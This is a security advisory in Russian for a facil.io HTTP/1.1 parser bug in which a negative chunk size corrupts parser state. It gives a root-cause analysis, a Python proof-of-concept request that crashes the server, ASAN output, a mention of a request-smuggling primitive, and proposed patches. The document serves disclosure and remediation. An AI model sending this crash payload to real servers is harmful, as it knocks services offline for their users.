
Бюллетень безопасности для CVE-2026-66731 с анализом первопричины, PoC-эксплойтом и предложениями по исправлению ошибки в парсере chunked encoding HTTP/1.1 в facil.io.
Присвоенный CVE ID: CVE-2026-66731
Продукт: facil.io
Затронутые версии: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); уязвимость появилась при бэкпортировании парсера HTTP/1.1 из 0.8.x в 0.7.5 — отсутствует в 0.6.x и 0.7.0–0.7.3
Компонент: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Некорректная проверка входных данных), CWE-682 (Неверное вычисление), CWE-125 (Чтение за пределами допустимой области)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Исследователь: Theodosis Paidakis
Парсер кодирования передачи данных чанками (chunked transfer encoding) принимает ведущий знак минус в значениях размера чанка. http1_atol16 возвращает отрицательный long long для входных данных вида -FFFFFF. Парсер сохраняет 0 - chunk_len в как сторожевой маркер состояния «внутри чанка». Когда отрицателен, это вычитание даёт большое положительное значение, повреждая конечный автомат. Последующее вычисление указателя перемещает указатель чтения на миллионы байт перед входным буфером, в неотображаемую память, что приводит к аварийному завершению процесса. Достаточно одного неаутентифицированного POST-запроса.
content_lengthchunk_lenШаг 1: http1_atol16 принимает ведущий знак минус
lib/facil/http/parsers/http1_parser.h, строки 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
Входные данные -FFFFFF\r\n дают chunk_len = -16777215LL. RFC 7230, раздел 4.1, определяет размеры чанков как неотрицательные шестнадцатеричные целые числа. Ведущий минус недопустим.
Шаг 2: Повреждение конечного автомата
lib/facil/http/parsers/http1_parser.h, строки 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
Парсер использует отрицательный content_length как сторожевой маркер, означающий «в данный момент читается тело чанка». При положительном content_length, равном +16777215, конечный автомат считает, что читает обычное (не чанкованное) тело размером 16 МБ.
Шаг 3: Указатель уходит назад в неотображаемую память
lib/facil/http/parsers/http1_parser.h (примерно строка 726)
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
Чтение по этому адресу вызывает сбой.
Запустите сервер, затем выполните:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
Вывод ASAN (подтверждён):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
Эффект в зависимости от отправленного размера чанка:
| Размер чанка | content_length после повреждения | Результат |
|---|---|---|
-0 | 0 | Тело молча пропускается; сервер продолжает работу |
-1 | +1 | Указатель на 1 байт перед началом |
-FFFFFF | +16777215 | Указатель на 16 МБ перед началом; крах |
-7FFFFFFF | +2147483647 | Указатель на 2 ГБ перед началом; крах |
Примечание: случай -0 (0 - 0 = 0) попадает в ветку «чанкованное тело завершено» и сервер выживает, но сервер принимает запрос как имеющий пустое тело независимо от любых последующих данных. Это может действовать как примитив контрабанды запросов (request smuggling) в прокси-развёртываниях, где фронтенд разбирает чанкованное кодирование иначе.
Один неаутентифицированный запрос с Transfer-Encoding: chunked и отрицательным размером чанка приводит к аварийному завершению сервера. Затронуто любое приложение, принимающее HTTP/1.1; чанкованное кодирование является основной функцией протокола и не требует какой-либо конфигурации на уровне приложения.
Подойдёт любой из подходов. Предпочтительно Исправление 1.
Исправление 1: отклонять ведущий минус в http1_atol16
lib/facil/http/parsers/http1_parser.h, строка 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Исправление 2: проверять chunk_len перед использованием
lib/facil/http/parsers/http1_parser.h, строка 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
Коммит 53caca31 («Fix atol16 to fix chunked length calculation», декабрь 2019 г.) исправил условие цикла обнаружения переполнения, но сохранил код обработки знака. Коммит fe847cdf («fix HTTP/1.1 parser against smuggling attack», май 2020 г.) устранил конфликты TE/CL (когда присутствуют оба: Transfer-Encoding и Content-Length). Ни один из них не охватывает отрицательные размеры чанков.